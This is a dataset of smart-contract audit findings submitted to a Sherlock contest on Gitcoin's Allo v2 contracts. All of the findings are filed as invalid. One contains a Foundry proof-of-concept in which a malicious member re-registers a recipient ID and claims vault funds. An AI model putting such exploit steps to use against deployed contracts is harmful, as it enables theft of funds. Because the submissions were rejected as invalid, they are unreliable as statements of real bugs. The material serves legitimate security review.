public anchorToProfileId;\n\n\n /// @notice This maps the profile ID to the profile details\n /// @dev Profile.id -> Profile\n mapping(bytes32 => Profile) public profilesById;\n\n\n /// @notice This maps the profile ID to the pending owner\n /// @dev Profile.id -> pending owner\n mapping(bytes32 => address) public profileIdToPendingOwner;\n\n\n /// @notice Allo Owner Role for fund recovery\n bytes32 public constant ALLO_OWNER = keccak256(\"ALLO_OWNER\");\n\n\n /// ====================================\n /// =========== Modifier ===============\n /// ====================================\n\n\n /// @notice Checks if the caller is the profile owner\n /// @dev Reverts `UNAUTHORIZED()` if the caller is not the profile owner\n /// @param _profileId The ID of the profile\n modifier onlyProfileOwner(bytes32 _profileId) {\n _checkOnlyProfileOwner(_profileId);\n _;\n }\n\n\n // ====================================\n // =========== Initializer =============\n // ====================================\n\n\n /// @notice Initializes the contract after an upgrade\n /// @dev During upgrade -> a higher version should be passed to reinitializer. Reverts if the '_owner' is the 'address(0)'\n /// @param _owner The owner of the contract\n function initialize(address _owner) external reinitializer(1) {\n // Make sure the owner is not 'address(0)'\n if (_owner == address(0)) revert ZERO_ADDRESS();\n\n\n // Grant the role to the owner\n _grantRole(ALLO_OWNER, _owner);\n }\n\n```\n[github link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L40-L85)\n\n## Impact\nThe attacker might be able to take full control over the contract functionalities\n\n## Code Snippet\n\n[github link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38-L90)\n\n[github link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L40-L85)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nadd the `_disableInitializers` function in the constructor","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/494.md"}} +{"title":"Address of the native token is wrong in Zkync Era","severity":"info","body":"Original Cinnabar Bull\n\nmedium\n\n# Address of the native token is wrong in Zkync Era\nThe hardcoded address of native token for `Zkync Era` network is wrong.\n\n## Vulnerability Detail\nThe `Gitcoin Allo` smart contracts will get deployed on the `Zkync Era` network. in the `Native.sol` smart contract, address of the `NATIVE` token is hardcoded to the `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE` value.\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Native.sol#L24\n\nIf by `NATIVE` token you mean `ETH`, this is a wrong and the correct address for `ETH` on the network is `Zkync Era` network`0x000000000000000000000000000000000000800A`.\n- https://explorer.zksync.io/address/0x000000000000000000000000000000000000800A\n\n## Impact\nThe wrong value of `ETH` address is used for `Zkync Era` network.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Native.sol#L24\n\n## Tool used\nManual Review\n\n## Recommendation\nUse correct address, `0x000000000000000000000000000000000000800A`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/493.md"}} +{"title":"The protocol doesn't support weird ERC20-tokens","severity":"info","body":"Shaggy Obsidian Rooster\n\nmedium\n\n# The protocol doesn't support weird ERC20-tokens\nThe protocol doesn't support weird ERC20-tokens\n## Vulnerability Detail\n![image](https://github.com/sherlock-audit/2023-09-Gitcoin-NikolaVelevjs/assets/88289662/d21d4774-be56-43e1-bcd8-e722c26fd4a3)\nThe Read.me said that will interact with all of the erc20-tokens,but =>\nThe protocol doesn't support erc20 tokens with different decimals, except the 18 decimals tokens\n## Impact\nMiss Calculations , the result of the \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L522\n## Tool used\n\nManual Review\n\n## Recommendation\n- _sqrt(totalCredits * 1e18)\n+ _sqrt(totalCredits * token.decimals())\n\nor make the protocol to not use weird erc20 tokens","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/491.md"}} +{"title":"Denial of Service when Native Token Amount or Base Fee is enough to Create Pool","severity":"info","body":"Sleepy Shadow Horse\n\nmedium\n\n# Denial of Service when Native Token Amount or Base Fee is enough to Create Pool\nWrong validation in [L473](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473) used to ensure baseFee & Native Token _amount to fund pool are not below msg.value will cause DOS even when amount needed is equal msg.value.\n## Vulnerability Detail\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ...\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n >>>>> if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n...\n}\n```\nas pointed from the code above the code will revert if `baseFee+_amount >= msg.value` or `baseFee >= msg.value` , in simple term if the msg.value is equal to amount needed to execute the code, it would still revert!. it should have been just \">\" instead of \">=\".\n### Proof of Concept\n```solidity\n function test_createPoolWithBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.expectEmit(true, false, false, true);\n emit BaseFeePaid(1, baseFee);\n\n vm.deal(address(pool_admin()), 1e17);\n\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e17}( // value is same as baseFee here\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n } \n```\nas seen from the test code above when `value` is 1e17 which should be enough to sort out the `baseFee` which is also 1e17, the code fails \n## Impact\nDenial of Service when msg.value is enough to sort out the required base fee and pool amount when creating Pool.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\nFoundry,\nManual Review\n\n## Recommendation\n```solidity\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n ...\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n+++ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n --- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n...\n}\n```\nThe \">=\" should be changed to \">\" as seen above","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/490.md"}} +{"title":"`Anchor.execute()` should be payable","severity":"info","body":"Dandy Lavender Wombat\n\nmedium\n\n# `Anchor.execute()` should be payable\n\n`Anchor.execute()` is not payable and therefor can not handle any call involving msg.value > 0\n\n\n\n## Vulnerability Detail\n\n`Anchor.execute()` is used to execute any type of call to a contract including calls to contracts that require a certain amount of native token send ( msg.value >0) seen on the use of {value: _value}.\nThe problem is that the function `Anchor.execute()` is not payable and will therefore revert every time msg.value >0.\n\n\n\n## Impact\n\nEvery call where msg.value > 0 will revert\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Anchor.sol#L70-L84\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMake `Anchor.execute()` payable","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/487.md"}} +{"title":"When creating a pool in `Allo.sol` one must always send more native token than required for the baseFee","severity":"info","body":"Dandy Lavender Wombat\n\nmedium\n\n# When creating a pool in `Allo.sol` one must always send more native token than required for the baseFee\n\nWhen crating a pool one must send more native token than required for the base fee. The access native token send is not refunded and stay in the allo contract\n\n\n## Vulnerability Detail\n\nWhen creating a new pool, the pool creator must pay a baseFee in the native token of the chain. The problem is that code that checks if the amount sent as msg.value is enough to pay the baseFee is wrong. It reverts if msg.value is smaller or quale to the baseFee: \n\n```Solidity\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { \n revert NOT_ENOUGH_FUNDS();\n }\n``` \n\nThis means that one must send more native tokens than the baseFee and the access native tokens are not refunded to the user.\n\n\n## Impact\n\nUser needs to pay more than the base fee to create a pool and the access amount of native tokens is not reverted. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L473-L478\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange `>=` to `>` two times.\n\nChange this:\n\n` if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) `\n\nto this:\n\n` if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value))`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/485.md"}} +{"title":"Malicious member can claim token through an allocated RecipientId","severity":"info","body":"Deep Grape Narwhal\n\nhigh\n\n# Malicious member can claim token through an allocated RecipientId\nIssue similar to QVBaseStrategy.sol. A malicious member can register recipient with an already allocated recipientId ļ¼Œand then steal tokens from vault\n\n## Vulnerability Detail\n\n## Proof of Concept\n1. Add the following test_claim_poc() to the DonationVotingMerkleDistributionVaultStrategy.t.sol\n```solidity \nfunction test_claim_poc() public{\n\n address recipientId= __mregister_recipient();\n vm.warp(allocationEndTime + 1 days);\n DonationVotingMerkleDistributionVaultStrategy.Claim[] memory claim =\n new DonationVotingMerkleDistributionVaultStrategy.Claim[](1);\n claim[0] = DonationVotingMerkleDistributionVaultStrategy.Claim({recipientId: recipientId, token: NATIVE});\n\n \n _strategy.claim(claim);\n\n console.log(\"-----------------after claimed---------------\");\n console.log(\"profile1_member2(Malicious) recipientAddress balance after claimed:\",attack().balance);\n console.log(\"profile1_member1 recipientAddress balance after claimed:\",recipientAddress().balance);\n }\n```\n\n2.Add the following __mregister_recipient() and attack() to the DonationVotingMerkleDistributionBase.t.sol\n\n```solidity\nfunction __mregister_recipient() public returns(address samerecipientId){\n \n address recipientId = __register_accept_recipient_allocate();\n //just for log\n DonationVotingMerkleDistributionBaseStrategy.Recipient memory recipients = strategy.getRecipient(recipientId);\n console.log(\"profile1_member1\",recipientId);\n console.log(\"profile1_member1 recipientaddress:\",recipients.recipientAddress);\n console.log(\"profile1_member1 recipientaddress balance:\",recipients.recipientAddress.balance);\n vm.warp(registrationStartTime + 10);\n\n vm.prank(address(allo()));\n//profile1_member2ļ¼ˆMalicious membersļ¼‰ \n// Register recipient using the RecipientId(eg:profile1_anchor()) that has been allocated\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(profile1_anchor(), attack(), metadata);\n\n samerecipientId = strategy.registerRecipient(data, profile1_member2());\n DonationVotingMerkleDistributionBaseStrategy.Recipient memory recipient = strategy.getRecipient(samerecipientId);\n console.log(\"----------------------------------------------\");\n console.log(\"profile1_member2(Malicious):\",samerecipientId);\n console.log(\"profile1_member2(Malicious) recipientAddress:\",recipient.recipientAddress);\n console.log(\"profile1_member2(Malicious) recipientAddress balance:\",recipient.recipientAddress.balance);\n }\n //Malicious recipientAddress\n function attack() public returns (address) {\n return makeAddr(\"attack\");\n }\n```\n\n3.Run forge test -vv --match-path test/foundry/strategies/DonationVotingMerkleDistributionVaultStrategy.t.sol --match-contract DonationVotingMerkleDistributionVaultStrategy --match-test test_claim_poc\n```solidity\n[PASS] test_claim_poc() (gas: 392305)\nLogs:\n profile1_member1 0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641\n profile1_member1 recipientaddress: 0x7b6d3eB9bb22D0B13a2FAd6D6bDBDc34Ad2c5849\n profile1_member1 recipientaddress balance: 0\n ----------------------------------------------\n profile1_member2(Malicious): 0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641\n profile1_member2(Malicious) recipientAddress: 0x035731A5BC3771c28077f08a1A72959366C0F700\n profile1_member2(Malicious) recipientAddress balance: 0\n -----------------after claimed---------------\n profile1_member2(Malicious) recipientAddress balance after claimed: 1000000000000000000\n profile1_member1 recipientAddress balance after claimed: 0\n```\n\n## Impact\nleading to loss of funds for vault\nAffects the fairness of protocol\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L528\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70\n\n## Tool used\nManual Review\n\n## Recommendation\nLock already allocated recipientId ,add verification process in RegisterRecipient().\nIf this issue is valid, then the registerRecipient() function of other contracts has the same issue, please verify carefully.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/484.md"}} +{"title":"Incorrect parameter ordering in function call","severity":"info","body":"Acrobatic Parchment Koala\n\nhigh\n\n# Incorrect parameter ordering in function call\nThe ordering of parameters in function call made in `distribute()` in Allo.sol is incorrect.\n## Vulnerability Detail\nThe function call of `distribute()` in Allo.sol has a different parameter ordering to the one defined in the actual function being called in the same contract.\n## Impact\nUtilizing incorrect parameter values when calling the distribute function has the potential to disrupt the internal accounting mechanisms of the system.\n \nThis could lead to errors and, consequently, halt the recipient distribution process.\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383-L385](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383-L385)\n```solidity\n function distribute(uint256 _poolId, address[] memory _recipientIds, bytes memory _data) external nonReentrant {\n pools[_poolId].strategy.distribute(_recipientIds, _data, msg.sender);\n }\n```\n## Tool used\nManual Review\n## Recommendation\nEnsure that the parameters in the function call are arranged in the same order as specified in the function signature.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/483.md"}} +{"title":"Unable to remove pool manager from pool if pool manager become malicious","severity":"info","body":"Quiet Seaweed Beaver\n\nmedium\n\n# Unable to remove pool manager from pool if pool manager become malicious\nWhen pool manager of pool become malicious, any attempt to remove pool manager from pool is not able by front-running\n\n## Vulnerability Detail\nIn `Allo#_createPool`, `POOL_MANAGER_ROLE` is granted admin role:\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\nWhich mean that any function that have `onlyPoolAdmin` can be called by poolManager:\n\n function addPoolManager(uint256 _poolId, address _manager) external onlyPoolAdmin(_poolId) {\n // Reverts if the address is the zero address with 'ZERO_ADDRESS()'\n if (_manager == address(0)) revert ZERO_ADDRESS();\n\n // Grants the pool manager role to the '_manager' address\n _grantRole(pools[_poolId].managerRole, _manager);\n }\n\n function removePoolManager(uint256 _poolId, address _manager) external onlyPoolAdmin(_poolId) {\n _revokeRole(pools[_poolId].managerRole, _manager);\n }\nWhen pool manager become malicious, any attempt to remove malicious address can be bypassed by front running and add another address that controlled by him as PoolManager by `addPoolManager` function\n\n## Impact\nMalicious pool manager can keep having role in the pool\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L449\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd timelock mechanism for poolManager/Admin, or don't grant admin role for pool manager","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/481.md"}} +{"title":"The owner/users must pay more than baseFee when creating a pool","severity":"info","body":"Decent Brunette Aphid\n\nmedium\n\n# The owner/users must pay more than baseFee when creating a pool\n\nWhen the `owner` tries to create a new pool, they always have to pay more than the `baseFee` and the protocol will always have to return the additional amount paid for each pool created.\n\n## Vulnerability Detail\n\nAfter a `owner` has registered, they will want to create a pool by calling `Allo.createPool()` or `Allo.createPoolWithCustomStrategy()`, after passing some checks, both call the internal function `Allo._createPool()`.\n\nThe Allo protocol exposed the problem of knowing that when the `baseFee` is 0, a pool can be created without paying it, but when it is not zero, it does not work as expected.\n\nIf `baseFee > 0`, the following is checked:\n\n```solidity\nAllo.sol:473 if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value))\n```\nEven when the user sent the correct `msg.value` for the `baseFee` in whathever case, fund with `native` token and you dont send any `amount` or if you fund with amount but not a `native` token always will return a error `NOT_ENOUGH_FUNDS()`, and this is not correct when the owner is pay exacly the fee ask for the protocol. \n\nEven when the user submitted the correct `msg.value` (i.e. `msg.value = baseFee`) for the `baseFee` in any case funding with `NATIVE` token and not submitting any `amount` or funding with an amount but not a `NATIVE` token will always return an error ` NOT_ENOUGH_FUNDS()`, and this is not correct when the owner pays exactly the fee requested by the protocol.\n\nHere I explain the error with a brief implementation:\n\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.19;\n\nimport \"forge-std/Test.sol\";\nimport { Allo } from \"../../../contracts/core/Allo.sol\";\nimport { Registry } from \"../../../contracts/core/Registry.sol\";\nimport \"../../../contracts/core/libraries/Transfer.sol\";\n\nerror NOT_ENOUGH_FUNDS();\n\n\ncontract MockAllo is Transfer{\n \n // the value of the `baseFee` was use in the test folder for the Allo protocol.\n uint baseFee = 1e15;\n\n function fundPool(address token, uint256 amount, address to) public payable {\n\n if (baseFee > 0) {\n if ((token == NATIVE && (baseFee + amount >= msg.value)) || (token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, to, baseFee);\n }\n\n }\n}\n\n\ncontract AlloTest is Test, Transfer {\n\n MockAllo public mockFund;\n address public treasury = payable(makeAddr(\"treasury\"));\n address bob = makeAddr(\"bob\");\n address erc20 = makeAddr(\"erc20\");\n\n function setUp() public {\n mockFund = new MockAllo();\n }\n\n function test_attackbase() public {\n vm.deal(bob, 100 ether);\n vm.startPrank(bob);\n // Try create a pool with native token\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n mockFund.fundPool{value:1e15}(NATIVE,0,treasury);\n \n // try crete a pool with erc-20 token\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n mockFund.fundPool{value:1e15}(erc20,0,treasury);\n \n }\n \n}\n```\n\n\n## Impact\n\nEvery time an owner tries to create a new pool, they can try multiple times by paying the correct value of `baseFee`, but it will always throw an error `NOT_ENOUGH_FUNDS()`, the protocol may lose users, who will spend gas or for having to pay more than the stated rate.\n\nOn the other hand, if owners send more than the base rate value, the protocol must refund this payment for each group created. Because there is no function that returns the additional sent amount or a check that only the base fare amount is sent.\n\nIn short, the protocol could lose users and money by not accepting payment of the correct `baseFee` and by attempting to refund the amount sent for each pool created.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\n\n* Manual Review\n* Foundry\n\n## Recommendation\nUpdate the declararion for:\n```diff\n- if ((token == NATIVE && (baseFee + amount >= msg.value)) || (token != NATIVE && baseFee >= msg.value));\n+ if ((token == NATIVE && (baseFee + amount > msg.value)) || (token != NATIVE && baseFee > msg.value))\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/480.md"}} +{"title":"QVSimpleStrategy should add withdraw function for pool manager to prevent the recipient address from being blacklisted","severity":"info","body":"Furry Cider Panda\n\nmedium\n\n# QVSimpleStrategy should add withdraw function for pool manager to prevent the recipient address from being blacklisted\n\nIn QVSimpleStrategy and the base class QVBaseStrategy, there is no `withdraw` function provided for the pool manager to withdraw the remaining funds in the contract. If the token is USDC/USDT, which have blacklisted mechanism. If a recipientAddress is blacklisted, transferring to such an address will definitely revert. It is the recipient's own problem that recipientAddress is blacklisted. However, t**hese funds belong to investors and should be withdrawn and returned to them**.\n\n## Vulnerability Detail\n\nAfter the allocation ends, PoolManager can distribute the token to the recipients through [[Allo.distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383-L385)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383-L385). Its flow is as follows:\n\n```flow\nAllo.distribute\n BaseStrategy.distribute\n QVBaseStrategy._distribute\n```\n\nIn `_distribute`, the payout of each recipient is calculated by `_getPayout`.\n\n```solidity\nFile: contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n436: function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n......\n443: uint256 payoutLength = _recipientIds.length;\n444: for (uint256 i; i < payoutLength;) {\n445: address recipientId = _recipientIds[i];\n446: Recipient storage recipient = recipients[recipientId];\n447: \n448:-> PayoutSummary memory payout = _getPayout(recipientId, \"\");\n449:-> uint256 amount = payout.amount;\n......\n455: IAllo.Pool memory pool = allo.getPool(poolId);\n456:-> _transferAmount(pool.token, recipient.recipientAddress, amount);\n......\n464: }\n465: }\n```\n\nL456, if pool.token is USDC/USDT and `recipient.recipientAddress` is blacklisted, `_transferAmount` will revert.\n\nFor simplicity, after the allocation ends, pool.token is USDC and poolAmount is 100,000e6. There are a total of 2 recipients (A and B), and they received the same number of votes. Therefore both A and B should get 50,000e6 USDC.\n\n1. The pool manager calls `distribute` for A. So, A gets 50,000e6 USDC.\n2. The pool manager calls `distribute` for B. This tx will revert since B.recipientAddress is blacklisted. So, 50,000e6 USDC will be stuck in contract forever.\n\n## Impact\n\nSince the current implementation of QVSimpleStrategy does not provide a withdraw function for the pool manager, if the above situation occurs, the token will be stuck in the contract. This is investors' funds and should be able to be withdrawn back to them.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L456\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the `withdraw` function for the pool manager. In this way, the pool manager can withdraw token stuck in contract, then manually return them to investors.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/478.md"}} +{"title":"The __ReentrancyGuard_init function is not called","severity":"info","body":"Original Cinnabar Bull\n\nhigh\n\n# The __ReentrancyGuard_init function is not called\nThe `__ReentrancyGuard_init` function is not called within the `Allo.sol.initialize` function.\n\n## Vulnerability Detail\nThe `Allo.sol` contract is upgradeable and is inherited from `ReentrancyGuardUpgradeable.sol` contract. In the `ReentrancyGuardUpgradeable.sol` contract, the `__ReentrancyGuard_init` function needs to be called in order to set `_status` variable.\n\n- https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/73619767d421028c966c36d7c173a025a7a3c9a8/contracts/utils/ReentrancyGuardUpgradeable.sol#L57\n```solidity\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n ReentrancyGuardStorage storage $ = _getReentrancyGuardStorage();\n $._status = NOT_ENTERED;\n }\n```\nBut in the `Allo.sol.initialize` function, there is not call to the `__ReentrancyGuard_init()` from `ReentrancyGuardUpgradeable` contract.\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87C1-L105C6\n\n```solidity\n function initialize(\n address _registry,\n address payable _treasury,\n uint256 _percentFee,\n uint256 _baseFee\n ) external reinitializer(1) {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n }\n```\n\n\n## Impact\nThe `_status` variable is not set.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin-/blob/main/allo-v2/contracts/core/Allo.sol#L87C1-L105C6\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L7\n\n## Tool used\nManual Review\n\n## Recommendation\ncall to the `__ReentrancyGuard_init()` in the `Allo.sol.initialize` function. The same should be applied to the `DonationVotingMerkleDistributionVaultStrategy.sol` contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/471.md"}} +{"title":"In Allo._createPool, there is a problem with the checking used to prevent paying the baseFee from the Allo contract's balance","severity":"info","body":"Furry Cider Panda\n\nmedium\n\n# In Allo._createPool, there is a problem with the checking used to prevent paying the baseFee from the Allo contract's balance\n\nIn [[Allo._createPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L423)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L423), there is [[a check to prevent paying the baseFee from the Allo contract's balance](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473). The current implementation makes `msg.value` provided by the caller must be greater than `baseFee + _amount` or `baseFee`. This is unreasonable since `msg.vaule` can be equal to `baseFee + _amount` or `baseFee`. This forces the caller to provide additional native tokens to the Allo contract.\n\n## Vulnerability Detail\n\n```solidity\nFile: contracts\\core\\Allo.sol\n415: function _createPool(\n416: bytes32 _profileId,\n417: IStrategy _strategy,\n418: bytes memory _initStrategyData,\n419: address _token,\n420: uint256 _amount,\n421: Metadata memory _metadata,\n422: address[] memory _managers\n423: ) internal returns (uint256 poolId) {\n......\n469: if (baseFee > 0) {\n470: // To prevent paying the baseFee from the Allo contract's balance\n471: // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n472: // If _token is not NATIVE, then baseFee should be >= than msg.value.\n473:-> if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n474: revert NOT_ENOUGH_FUNDS();\n475: }\n476: _transferAmount(NATIVE, treasury, baseFee);\n477: emit BaseFeePaid(poolId, baseFee);\n478: }\n......\n485: }\n```\n\nAssuming `baseFee` is 0.1 ether, there are two situations:\n\n1. If `_token == NATIVE`, assuming `amount = 10e18`, then the caller should only need to provide 10.1e18 ether to successfully create the pool.\n\n2. If `_token != NATIVE`, the caller should only need to provide 0.1e18 ether to successfully create the pool.\n\nHowever, the L473 check will revert both of the above situations. Because the caller must provide the amount of ether greater than 10.1e18 or 0.1e18. Imagine if the front-end UI gets `baseFee` via [[Allo.getBaseFee()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L634-L636)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L634-L636), `msg.value` that the user needs to provide is the value in the above two situations. As a result, the caller will revert forever.\n\n## Impact\n\n- This issue forces the caller to provide additional native tokens to the Allo contract.\n- If the front-end UI is using `baseFee` exactly, then the user will not be able to successfully create the pool.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```fix\nFile: contracts\\core\\Allo.sol\n469: if (baseFee > 0) {\n470: // To prevent paying the baseFee from the Allo contract's balance\n471: // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n472: // If _token is not NATIVE, then 